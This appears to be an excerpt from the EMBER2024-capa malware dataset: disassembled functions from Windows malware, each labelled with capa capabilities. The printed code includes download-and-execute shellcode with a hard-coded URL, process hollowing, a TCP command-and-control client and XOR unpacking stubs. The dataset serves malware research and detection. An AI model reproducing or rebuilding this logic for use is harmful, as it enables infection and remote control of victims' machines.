joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4020ff
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34c
push esi
push edi
push 0x104
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x24c]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
push edi
call esi
add eax, edi
push eax
push dword [0x404004]
call fcn.004017a3
add esp, 8
push edi
call esi
add edi, eax
call dword [sym.imp.KERNEL32.DLL_GetVersion]
cmp eax, 0x80000000
lea eax, [ebp - 0x34c]
push eax
jae 0x402170
push dword [0x404024]
call fcn.004017a3
add esp, 8
jmp 0x402188
push dword [0x404028]
call fcn.004017a3
sub edi, 3
mov byte [edi], 0x5c
add esp, 8
inc edi
mov byte [edi], 0
lea eax, [ebp - 0x34c]
push eax
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x402291
mov dword [ebp + 8], edi
call fcn.0040173c
mov esi, eax
and esi, 3
add esi, 5
test esi, esi
jle 0x402265
push ebx
call fcn.0040173c
push 0x1e
xor edx, edx
pop ecx
div ecx
test edx, edx
je 0x4021f9
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x4021d5
xor ecx, ecx
cmp byte [ebp - 0x11c], 0x2e
je 0x402257
inc ecx
cmp byte [ebp + ecx - 0x11c], 0x2e
jne 0x402204
cmp ecx, 4
jl 0x402257
call fcn.0040173c
add ecx, 0xfffffffe
xor edx, edx
div ecx
mov ebx, edx
call fcn.0040173c
xor edx, edx
push 3
pop ecx
div ecx
xor ecx, ecx
inc edx
inc edx
test edx, edx
jle 0x402257
lea eax, [ebp + ebx - 0x11c]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov al, byte [eax + ecx]
cmp al, 0x2e
je 0x402252
mov ebx, dword [ebp + 8]
inc dword [ebp + 8]
mov byte [ebx], al
inc ecx
cmp ecx, edx
jl 0x402240
mov eax, dword [ebp + 8]
sub eax, edi
cmp eax, esi
jl 0x4021d5
pop ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov eax, dword [ebp + 0xc]
dec eax
je 0x40227e
dec eax
jne 0x40228c
push 0x4038bc
jmp 0x402283
push 0x4038b4
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
xor eax, eax
inc eax
jmp 0x402293
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x402297
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push esi
push edi
mov edi, dword [ebp + 8]
push 0x200
push edi
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea eax, [ebp - 0x100]
push eax
push dword [0x404004]
call fcn.004017a3
add esp, 8
call dword [sym.imp.KERNEL32.DLL_GetVersion]
cmp eax, 0x80000000
jb 0x4022e1
mov byte [ebp - 0xf9], 0x5c
mov byte [ebp - 0xf8], 0
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x100]
push eax
push edi
call esi
push dword [ebp + 0xc]
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
add eax, edi
mov byte [eax], 0x2e
inc eax
mov byte [eax], 0x64
inc eax
mov byte [eax], 0x6c
inc eax
pop edi
mov byte [eax], 0x6c
mov byte [eax + 1], 0
pop esi
leave
ret
Function at 0x40236a
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push esi
mov esi, 0x404094
push edi
mov dword [ebp - 8], esi
mov dword [ebp - 4], 0x40
xor ebx, ebx
mov eax, dword [esi]
cmp eax, dword [ebp + 8]
jne 0x402418
cmp dword [esi + 0x18], ebx
je 0x4023c5
cmp dword [esi + 4], ebx
je 0x4023b9
mov eax, dword [esi + 0x1c]
cmp eax, ebx
je 0x4023b9
push ebx
push 1
call eax
push 0x2710
mov dword [esi + 0x1c], ebx
mov dword [esi + 4], ebx
call dword [sym.imp.KERNEL32.DLL_Sleep]
push dword [esi + 0x18]
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov dword [esi + 0x18], ebx
lea eax, [esi + 8]
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.00402297
pop ecx
pop ecx
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x4023f8
push 4
push ebx
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileExA]
xor eax, eax
mov edi, dword [ebp - 8]
mov ecx, 0x28
push ecx
shr ecx, 2
rep stosd dword es:[edi], eax
pop ecx
and ecx, 3
rep stosb byte es:[edi], al
mov dword [0x404038], 1
add esi, 0x28
dec dword [ebp - 4]
mov dword [ebp - 8], esi
jne 0x402387
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4024e8
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create raw socket
Create tcp socket
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
xor eax, eax
inc eax
xor ebx, ebx
push ebx
push eax
push 2
mov dword [ebp - 8], eax
call sub.WS2_32.DLL_socket
mov esi, eax
lea eax, [ebp - 0x24]
mov dword [ebp - 4], eax
xor eax, eax
mov edi, dword [ebp - 4]
mov ecx, 0x10
push ecx
shr ecx, 2
rep stosd dword es:[edi], eax
pop ecx
and ecx, 3
rep stosb byte es:[edi], al
push 0x10
lea eax, [ebp - 0x24]
push eax
push esi
mov word [ebp - 0x24], 2
call sub.WS2_32.DLL_bind
push dword [ebp + 8]
mov word [ebp - 0x24], 2
call sub.WS2_32.DLL_htonl
push dword [ebp + 0xc]
mov dword [ebp - 0x20], eax
call sub.WS2_32.DLL_htons
push 4
mov word [ebp - 0x22], ax
lea eax, [ebp - 8]
push eax
push 1
push 6
push esi
call sub.WS2_32.DLL_setsockopt
push 0x10
lea eax, [ebp - 0x24]
push eax
push esi
call sub.WS2_32.DLL_connect
test eax, eax
jne 0x402656
push ebx
push 0xc
lea eax, [ebp - 0x14]
push eax
push esi
mov dword [ebp - 0x14], 0x571da911
mov dword [ebp - 0x10], 9
mov dword [ebp - 0xc], 3
call sub.WS2_32.DLL_send
or edi, 0xffffffff
cmp eax, edi
je 0x402656
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
push ebx
push 4
lea eax, [ebp - 0x14]
push eax
push esi
call sub.WS2_32.DLL_recv
cmp eax, 4
jne 0x402656
cmp dword [ebp - 0x14], 0xf509cc78
jne 0x402656
mov eax, dword [0x40403c]
mov dword [ebp - 0x14], eax
mov eax, dword [0x40401c]
push ebx
mov dword [ebp - 0x10], eax
push 8
lea eax, [ebp - 0x14]
push eax
push esi
call sub.WS2_32.DLL_send
cmp eax, edi
je 0x402656
mov eax, dword [0x404020]
push ebx
mov dword [ebp - 0x14], eax
push 8
lea eax, [ebp - 0x14]
push eax
push esi
mov dword [ebp - 0x10], ebx
call sub.WS2_32.DLL_send
cmp eax, edi
je 0x402656
cmp dword [0x404094], ebx
je 0x40263b
mov dword [ebp - 4], 0x404094
cmp dword [ebp - 4], 0x404a94
jge 0x40263b
push ebx
push 8
push dword [ebp - 4]
push esi
call sub.WS2_32.DLL_send
cmp eax, edi
je 0x40263b
add dword [ebp - 4], 0x28
mov eax, dword [ebp - 4]
cmp dword [eax], ebx
jne 0x402617
push ebx
push 8
lea eax, [ebp - 0x14]
push eax
push esi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], edi
call sub.WS2_32.DLL_send
cmp eax, edi
je 0x402656
mov eax, esi
jmp 0x40265e
push esi
call sub.WS2_32.DLL_closesocket
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4026a3
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
push 4
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call sub.WS2_32.DLL_recv
cmp eax, 4
jne 0x4026ec
cmp dword [ebp - 4], 0
jle 0x4026ec
mov eax, dword [ebp + 0x10]
cmp dword [ebp - 4], eax
jg 0x4026ec
shl eax, 2
push eax
push dword [ebp + 0xc]
call fcn.004017d9
mov eax, dword [ebp - 4]
pop ecx
pop ecx
push 0
shl eax, 2
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.WS2_32.DLL_recv
mov dword [0x404038], 1
leave
ret
Function at 0x40276c
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push 0
push 8
lea eax, [ebp - 0x40]
push eax
push dword [ebp + 8]
call sub.WS2_32.DLL_recv
cmp eax, 8
jne 0x4027ac
mov eax, dword [ebp - 0x40]
dec eax
je 0x40279a
dec eax
jne 0x4027ac
mov eax, dword [ebp - 0x3c]
mov dword [0x40401c], eax
jmp 0x4027a2
mov eax, dword [ebp - 0x3c]
mov dword [0x40403c], eax
mov dword [0x404038], 1
leave
ret

Function at 0x4027e1
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
push edi
push 0x403964
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov dword [ebp - 0x20], eax
push 0x403958
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [ebp - 0x14], eax
push 0x403948
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x1c], eax
push 0x403940
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x38], eax
push 0x403934
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x28], eax
push 0x403928
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 4], eax
push 0x40391c
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x30], eax
push 0x403910
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x10], eax
push 0x4038fc
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x34], eax
push 0x4038ec
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 8], eax
push 0x4038d8
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0xc], eax
push 0x4038c4
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x24], eax
mov eax, fcn.004029c4
sub eax, 0x4028d1
mov dword [ebp - 0x2c], eax
mov eax, 0x4029bb
sub eax, 0x4028d1
mov dword [0x404050], eax
call fcn.004029c4
push ebp
mov ebp, esp
push 0x74656e
push 0x696e6977
push esp
mov eax, 0x11111111
call eax
push 0
push 0
push 0
push 4
push 0
mov eax, 0x55555555
call eax
or eax, eax
je 0x4029b8
mov ebx, eax
push 0
push 0x7068702e
push 0x652f6d6f
push 0x632e6575
push 0x716f7865
push 0x732f2f3a
push 0x70747468
mov ecx, esp
push 0
push esp
push 0x400
push 0
push 0
push ecx
push eax
mov eax, 0x66666666
call eax
or eax, eax
je 0x4029b8
mov esi, eax
push 0
push 0x6578652e
push 0x655c3a63
mov ecx, esp
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push ecx
mov eax, 0x88888888
call eax
cmp eax, 0xffffffff
je 0x4029b8
mov edi, eax
sub esp, 0x400
mov ecx, esp
push 0
push esp
push 0x400
push ecx
push esi
mov eax, 0x33333333
call eax
pop eax
or eax, eax
je 0x40299e
mov edx, esp
push 0
mov ecx, esp
push 0
push ecx
push eax
push edx
push edi
mov eax, 0x99999999
call eax
pop eax
jmp 0x402970
push edi
mov eax, 0xaaaaaaaa
call eax
add esp, 0x400
mov ecx, esp
push 0
push ecx
mov eax, 0x22222222
call eax
mov esp, ebp
pop ebp
push 0
mov eax, 0x77777777
call eax
Function at 0x402abd
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Get common file path
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd4c
push ebx
push esi
push edi
lea eax, [ebp - 0xd4c]
mov dword [ebp - 0x30], eax
push 0x104
lea eax, [ebp - 0x188]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 0x40396c
lea eax, [ebp - 0x188]
push eax
mov byte [ebp - 0x84], 0
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x74]
mov dword [ebp - 0x2c], eax
xor eax, eax
mov edi, dword [ebp - 0x2c]
mov ecx, 0x44
push ecx
shr ecx, 2
rep stosd dword es:[edi], eax
pop ecx
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [ebp - 0xd4c]
push eax
mov dword [ebp - 0x74], 0x44
call fcn.004027e1
pop ecx
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_GetVersion]
cmp eax, 0x80000000
jae 0x402c55
movzx eax, ax
cmp eax, 0x105
jne 0x402c55
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x74]
push eax
xor eax, eax
push eax
push eax
push 4
pop edi
push edi
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x188]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x402c65
lea eax, [ebp - 0x54c]
push eax
push dword [ebp - 0x24]
mov dword [ebp - 0x54c], 0x10007
call dword [sym.imp.KERNEL32.DLL_GetThreadContext]
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x4bc]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.DLL_GetThreadSelectorEntry]
movzx ecx, byte [ebp - 0x14]
mov esi, dword [sym.imp.KERNEL32.DLL_ReadProcessMemory]
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp - 0x10]
push eax
movzx eax, byte [ebp - 0x11]
shl eax, 8
or eax, ecx
movzx ecx, word [ebp - 0x16]
shl eax, 0x10
or eax, ecx
add eax, 0x30
push eax
push dword [ebp - 0x28]
call esi
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0x10]
add eax, 8
push eax
push dword [ebp - 0x28]
call esi
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
add eax, 0x3c
push eax
push dword [ebp - 0x28]
call esi
mov ecx, dword [ebp - 8]
lea eax, [ebp - 4]
push eax
push 0xf8
lea eax, [ebp - 0x280]
push eax
mov eax, dword [ebp - 0xc]
add eax, ecx
push eax
push dword [ebp - 0x28]
call esi
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x258]
lea esi, [ecx + eax]
lea eax, [ebp - 4]
push eax
push 0x40
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea eax, [ebp - 4]
push eax
push ebx
lea eax, [ebp - 0xd4c]
push eax
push esi
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
jmp 0x402c65
mov eax, dword [0x404050]
mov byte [ebp + eax - 0xd4c], 0xc3
call dword [ebp - 0x30]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402da9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push ebx
push esi
push edi
push dword [ebp + 8]
mov byte [ebp - 0x234], 0x68
mov byte [ebp - 0x233], 0x74
mov byte [ebp - 0x232], 0x74
mov byte [ebp - 0x231], pe_nt_image_headers32
mov byte [ebp - 0x230], 0x3a
mov byte [ebp - 0x22f], 0x2f
mov byte [ebp - 0x22e], 0x2f
mov byte [ebp - 0x22d], 0
call sub.WS2_32.DLL_ntohl
push eax
call sub.WS2_32.DLL_inet_ntoa
push eax
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push dword [ebp + 0xc]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
push dword [0x40401c]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x234]
push eax
mov byte [ebp - 0x10], 0x2f
mov byte [ebp - 0xf], 0x25
mov byte [ebp - 0xe], 0x69
mov byte [ebp - 0xd], 0x2f
mov byte [ebp - 0xc], 0x25
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x2e
mov byte [ebp - 9], 0x69
mov byte [ebp - 8], 0
call esi
lea eax, [ebp + eax - 0x234]
push eax
call dword [sym.imp.USER32.DLL_wsprintfA]
xor edi, edi
push edi
push 2
lea eax, [ebp - 0x10]
push eax
push 0xe
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x234]
push eax
mov byte [ebp - 0x10], 0x4d
mov byte [ebp - 0xf], 0x50
mov byte [ebp - 0x34], 1
call fcn.00402c6a
add esp, 0x28
cmp eax, 0xe
jne 0x402f6a
mov ebx, dword [ebp + 0x14]
imul ebx, ebx, 0x28
cmp dword [ebp - 0x32], 0x7fff
jae 0x402eae
call fcn.0040174e
mov ecx, dword [ebp - 0x32]
imul ecx, ecx, 0x3c
add eax, ecx
mov dword [ebx + 0x4040b4], eax
jmp 0x402eb4
mov dword [ebx + 0x4040b4], edi
mov eax, dword [ebp - 0x2e]
cmp eax, 0x7fff
jae 0x402ec9
imul eax, eax, 0x3c
mov dword [ebx + 0x4040b8], eax
jmp 0x402ecf
mov dword [ebx + 0x4040b8], edi
lea eax, [ebp - 0x234]
push eax
call esi
lea ecx, [ebp - 0x234]
dec ecx
dec ecx
mov byte [eax + ecx], 0
mov byte [ebp - 0xf], 0x5a
call fcn.0040173c
and eax, 0xfff
push eax
push 2
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x2a]
lea eax, [ebp - 0x234]
push dword [ebp + 0x10]
push eax
call fcn.00402c6a
add esp, 0x18
test eax, eax
je 0x402f6a
lea edx, [ebx + 0x404094]
mov dword [ebp - 0x14], edx
xor eax, eax
mov edi, dword [ebp - 0x14]
mov ecx, 0x28
push ecx
shr ecx, 2
rep stosd dword es:[edi], eax
pop ecx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [ebp + 0xc]
push dword [ebp + 0x10]
mov dword [edx], eax
call esi
add eax, dword [ebp + 0x10]
jmp 0x402f41
dec eax
cmp byte [eax], 0x2e
jne 0x402f40
mov byte [eax], 0
jmp 0x402f4c
dec eax
cmp byte [eax], 0x5c
jne 0x402f4b
inc eax
push eax
lea eax, [ebx + 0x40409c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
xor eax, eax
inc eax
mov dword [0x404038], eax
jmp 0x402f6c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40301f
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push esi
push edi
lea eax, [ebp - 0x414]
push 2
push eax
call fcn.004020ff
pop ecx
pop ecx
mov dword [ebp - 4], 0x404b1b
xor ebx, ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp eax, ebx
je 0x403167
push eax
mov byte [ebp - 0x214], 0x68
mov byte [ebp - 0x213], 0x74
mov byte [ebp - 0x212], 0x74
mov byte [ebp - 0x211], pe_nt_image_headers32
mov byte [ebp - 0x210], 0x3a
mov byte [ebp - 0x20f], 0x2f
mov byte [ebp - 0x20e], 0x2f
mov byte [ebp - 0x20d], bl
call sub.WS2_32.DLL_ntohl
push eax
call sub.WS2_32.DLL_inet_ntoa
push eax
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea eax, [ebp + eax - 0x214]
mov byte [eax], 0x2f
lea esi, [eax + 1]
xor edi, edi
cmp edi, ebx
je 0x4030ca
mov byte [esi], 0x62
mov byte [esi + 1], bl
jmp 0x4030f9
push dword [0x40401c]
lea eax, [ebp - 0x14]
push eax
push esi
mov byte [ebp - 0x14], 0x25
mov byte [ebp - 0x13], 0x69
mov byte [ebp - 0x12], 0x2f
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], 0x78
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], bl
call dword [sym.imp.USER32.DLL_wsprintfA]
add esp, 0xc
mov byte [ebp - 0x14], 0x4d
mov byte [ebp - 0x13], 0x5a
call fcn.0040173c
and eax, 0xfff
push eax
push 2
lea eax, [ebp - 0x14]
push eax
push 0x2710
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x214]
push eax
call fcn.00402c6a
add esp, 0x18
test eax, eax
je 0x40314c
push ebx
push ebx
push 0x40397c
lea eax, [ebp - 0x414]
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.DLL_ShellExecuteA]
cmp eax, 0x20
ja 0x40316c
inc edi
cmp edi, 2
jl 0x4030be
add dword [ebp - 4], 4
cmp dword [ebp - 4], 0x404b5b
jl 0x403044
pop edi
pop esi
pop ebx
leave
ret
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x66b37a48
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x78445b12
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x401006
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x476008]
jne 0x401010
repz ret
jmp fcn.004015e2

Function at 0x4053f5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402a3d
and dword [ebp - 4], 0
cmp dword [0x4790cc], 0
mov ebx, eax
jne 0x4054a6
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x405557
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x405557
push eax
call fcn.004029cb
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4790cc], eax
call esi
push eax
call fcn.004029cb
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4790d0], eax
call esi
push eax
call fcn.004029cb
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4790d4], eax
call esi
push eax
call fcn.004029cb
pop ecx
mov dword [0x4790dc], eax
test eax, eax
je 0x4054a6
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004029cb
pop ecx
mov dword [0x4790d8], eax
mov eax, dword [0x4790d8]
cmp eax, ebx
je 0x4054fe
cmp dword [0x4790dc], ebx
je 0x4054fe
push eax
call fcn.00402a46
push dword [0x4790dc]
mov esi, eax
call fcn.00402a46
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4054fe
test edi, edi
je 0x4054fe
call esi
test eax, eax
je 0x4054f5
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4054f5
test byte [ebp - 0xc], 1
jne 0x4054fe
or dword [ebp + 0x10], 0x200000
jmp 0x405537
mov eax, dword [0x4790d0]
cmp eax, ebx
je 0x405537
push eax
call fcn.00402a46
pop ecx
test eax, eax
je 0x405537
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x405537
mov eax, dword [0x4790d4]
cmp eax, ebx
je 0x405537
push eax
call fcn.00402a46
pop ecx
test eax, eax
je 0x405537
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4790cc]
call fcn.00402a46
pop ecx
test eax, eax
je 0x405557
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x405559
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x46ed10
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0x404
mov eax, dword [0x476008]
xor eax, esp
mov dword [esp + 0x400], eax
cmp dword [0x84be2c], 0x114e
mov eax, dword [esp + 0x408]
mov dword [0x84bc70], eax
jne 0x46ed51
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
lea ecx, [esp + 4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [esp + 0x400]
xor ecx, esp
call fcn.00401006
add esp, 0x404
ret
Function at 0x46ed80
Capabilities:
Encode data using xor

Disassembly:
sub esp, 8
cmp edi, 0x182
jne 0x46eda3
push 0
push 0
push 0
push str.xojuhaxofasihaxitahidavufo
push str.tajuduyo
push 0
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
xor edx, edx
test edi, edi
jle 0x46ede2
lea esp, [esp]
lea ecx, [esp + 4]
mov dword [esp], 5
mov dword [esp + 4], 0
call fcn.0046ed70
mov eax, dword [esp + 4]
add eax, 0x46
mov dword [esp], eax
nop
sub dword [esp], 0x46
mov al, byte [esp]
xor byte [edx + esi], al
inc edx
cmp edx, edi
jl 0x46edb0
cmp edi, 0x2d
jne 0x46edfb
mov dword [0x84bf60], 0xa62e7790
mov dword [0x84bf64], 0xffffffff
add esp, 8
ret

Function at 0x46ee00
Capabilities:
Query environment variable

Disassembly:
mov eax, 0x1004
call fcn.00407170
mov eax, dword [0x476008]
xor eax, esp
mov dword [esp + 0x1000], eax
mov eax, dword [0x476c60]
push esi
mov esi, dword [0x84bc74]
push edi
mov edi, dword [0x84be2c]
push eax
call fcn.0046ed10
add esp, 4
cmp dword [0x84be2c], 0x2f
jne 0x46ee43
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
call fcn.0046ed80
cmp dword [0x84be2c], 0x568
pop edi
pop esi
jne 0x46ee77
push 0
push 0
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea edx, [esp + 0x804]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
mov ecx, dword [esp + 0x1000]
xor ecx, esp
call fcn.00401006
add esp, 0x1004
ret